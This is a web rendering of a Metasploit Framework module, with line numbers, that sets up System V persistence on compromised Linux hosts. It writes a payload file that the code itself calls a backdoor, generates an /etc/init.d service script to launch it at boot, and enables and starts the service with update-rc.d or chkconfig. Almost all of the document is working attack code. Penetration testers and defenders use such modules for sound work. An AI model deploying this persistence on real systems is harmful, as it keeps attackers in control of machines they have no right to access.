Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/linux/persistence/init_sysvinit.rb
24755 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Local
7
Rank = ExcellentRanking
8
9
include Msf::Post::File
10
include Msf::Post::Unix
11
include Msf::Exploit::EXE # for generate_payload_exe
12
include Msf::Exploit::FileDropper
13
include Msf::Exploit::Local::Persistence
14
prepend Msf::Exploit::Remote::AutoCheck
15
include Msf::Exploit::Deprecated
16
moved_from 'exploits/linux/local/service_persistence'
17
18
def initialize(info = {})
19
super(
20
update_info(
21
info,
22
'Name' => 'Service System V Persistence',
23
'Description' => %q{
24
This module will create a service via System V on the box, and mark it for auto-restart.
25
We need enough access to write service files and potentially restart services.
26
27
Some systems include backwards compatibility, such as Ubuntu up to about 16.04.
28
29
Targets:
30
CentOS <= 5
31
Debian <= 6
32
Kali 2.0
33
Ubuntu <= 6.06
34
Note: System V won't restart the service if it dies, only an init change (reboot etc) will restart it.
35
36
Verified on Kali 2.0, Ubuntu 10.04
37
},
38
'License' => MSF_LICENSE,
39
'Author' => [
40
'h00die',
41
],
42
'Platform' => ['unix', 'linux'],
43
'Targets' => [
44
[
45
'System V', {
46
runlevel: '2 3 4 5'
47
}
48
]
49
],
50
'DefaultTarget' => 0,
51
'Arch' => [
52
ARCH_CMD,
53
ARCH_X86,
54
ARCH_X64,
55
ARCH_ARMLE,
56
ARCH_AARCH64,
57
ARCH_PPC,
58
ARCH_MIPSLE,
59
ARCH_MIPSBE
60
],
61
'References' => [
62
['URL', 'https://www.digitalocean.com/community/tutorials/how-to-configure-a-linux-service-to-start-automatically-after-a-crash-or-reboot-part-1-practical-examples'],
63
['ATT&CK', Mitre::Attack::Technique::T1543_CREATE_OR_MODIFY_SYSTEM_PROCESS]
64
],
65
'SessionTypes' => ['shell', 'meterpreter'],
66
'Privileged' => true,
67
'Notes' => {
68
'Stability' => [CRASH_SAFE],
69
'Reliability' => [REPEATABLE_SESSION, EVENT_DEPENDENT],
70
'SideEffects' => [ARTIFACTS_ON_DISK, CONFIG_CHANGES]
71
},
72
'DisclosureDate' => '1983-01-01' # system v release date
73
)
74
)
75
76
register_options(
77
[
78
OptString.new('PAYLOAD_NAME', [false, 'Name of shell file to write']),
79
OptString.new('SERVICE', [false, 'Name of service to create'])
80
]
81
)
82
register_advanced_options(
83
[
84
OptBool.new('EnableService', [true, 'Enable the service', true])
85
]
86
)
87
end
88
89
def check
90
print_warning('Payloads in /tmp will only last until reboot, you want to choose elsewhere.') if writable_dir.start_with?('/tmp')
91
return CheckCode::Safe("#{writable_dir} isnt writable") unless writable?(writable_dir)
92
return CheckCode::Safe('/etc/init.d/ isnt writable') unless writable?('/etc/init.d/')
93
94
has_updatercd = command_exists?('update-rc.d')
95
if has_updatercd || command_exists?('chkconfig') # centos 5
96
return CheckCode::Appears("#{writable_dir} is writable and system is System V based")
97
end
98
99
CheckCode::Safe('Likely not a System V based system')
100
end
101
102
def install_persistence
103
backdoor = write_shell(writable_dir)
104
105
path = backdoor.split('/')[0...-1].join('/')
106
file = backdoor.split('/')[-1]
107
108
system_v(path, file, target.opts[:runlevel], command_exists?('update-rc.d'))
109
end
110
111
def write_shell(path)
112
file_name = datastore['PAYLOAD_NAME'] || Rex::Text.rand_text_alpha(5..10)
113
backdoor = "#{path}/#{file_name}"
114
vprint_status("Writing backdoor to #{backdoor}")
115
if payload.arch.first == 'cmd'
116
write_file(backdoor, payload.encoded)
117
chmod(backdoor, 0o755)
118
else
119
upload_and_chmodx backdoor, generate_payload_exe
120
end
121
@clean_up_rc << "rm #{backdoor}\n"
122
123
if file_exist?(backdoor)
124
chmod(backdoor, 0o711)
125
return backdoor
126
end
127
fail_with(Failure::NoAccess, 'File not written, check permissions.')
128
end
129
130
def system_v(backdoor_path, backdoor_file, runlevel, has_updatercd)
131
if has_updatercd
132
vprint_status('Utilizing update-rc.d')
133
else
134
vprint_status('Utilizing chkconfig')
135
end
136
137
service_filename = datastore['SERVICE'] || Rex::Text.rand_text_alpha(7..12)
138
139
script = <<~EOF
140
#!/bin/sh
141
### BEGIN INIT INFO
142
# Provides: #{service_filename}
143
# Required-Start: $network
144
# Required-Stop: $network
145
# Default-Start: #{runlevel}
146
# Default-Stop: 0 1 6
147
# Short-Description: Start daemon at boot time
148
# Description: Enable service provided by daemon.
149
### END INIT INFO
150
DIR="#{backdoor_path}"
151
CMD="#{backdoor_file}"
152
NAME="$(basename "$0")"
153
PID_FILE="/var/run/$NAME.pid"
154
STDOUT_LOG="/var/log/$NAME.log"
155
STDERR_LOG="/var/log/$NAME.err"
156
get_pid() {
157
[ -f "$PID_FILE" ] && cat "$PID_FILE"
158
}
159
is_running() {
160
PID=$(get_pid)
161
[ -n "$PID" ] && kill -0 "$PID" 2>/dev/null
162
}
163
start_service() {
164
if is_running; then
165
echo "$NAME is already running."
166
return 0
167
fi
168
echo "Starting $NAME..."
169
sleep 10 && $DIR/$CMD >> "$STDOUT_LOG" 2>> "$STDERR_LOG" &
170
echo $! > "$PID_FILE"
171
sleep 1
172
if is_running; then
173
echo "$NAME started successfully."
174
else
175
echo "Failed to start $NAME. Check logs: $STDOUT_LOG $STDERR_LOG"
176
exit 1
177
fi
178
}
179
stop_service() {
180
if ! is_running; then
181
echo "$NAME is not running."
182
return 0
183
fi
184
echo "Stopping $NAME..."
185
kill "$(get_pid)" && rm -f "$PID_FILE"
186
for i in $(seq 1 10); do
187
if ! is_running; then
188
echo "$NAME stopped."
189
return 0
190
fi
191
sleep 1
192
done
193
echo "Failed to stop $NAME."
194
exit 1
195
}
196
case "$1" in
197
start) start_service ;;
198
stop) stop_service ;;
199
restart)
200
stop_service
201
start_service
202
;;
203
status)
204
if is_running; then
205
echo "$NAME is running."
206
else
207
echo "$NAME is stopped."
208
exit 1
209
fi
210
;;
211
*)
212
echo "Usage: $0 {start|stop|restart|status}"
213
exit 1
214
;;
215
esac
216
exit 0
217
EOF
218
219
service_name = "/etc/init.d/#{service_filename}"
220
vprint_status("Writing service: #{service_name}")
221
write_file(service_name, script)
222
223
fail_with(Failure::NoAccess, 'Service file not written, check permissions.') unless file_exist?(service_name)
224
225
@clean_up_rc << "rm #{service_name}\n"
226
@clean_up_rc << "rm /var/log/#{service_name}.log\n"
227
@clean_up_rc << "rm /var/log/#{service_name}.err\n"
228
chmod(service_name, 0o755)
229
print_good('Enabling & starting our service (10 second delay for payload)')
230
if has_updatercd
231
cmd_exec("update-rc.d #{service_filename} defaults")
232
cmd_exec("update-rc.d #{service_filename} enable")
233
if file_exist?('/usr/sbin/service') # some systems have update-rc.d but not service binary, have a fallback just in case
234
cmd_exec("service #{service_filename} start")
235
else
236
cmd_exec("/etc/init.d/#{service_filename} start")
237
end
238
else # CentOS
239
cmd_exec("chkconfig --add #{service_filename}")
240
cmd_exec("chkconfig #{service_filename} on")
241
cmd_exec("/etc/init.d/#{service_filename} start")
242
end
243
end
244
end
245
246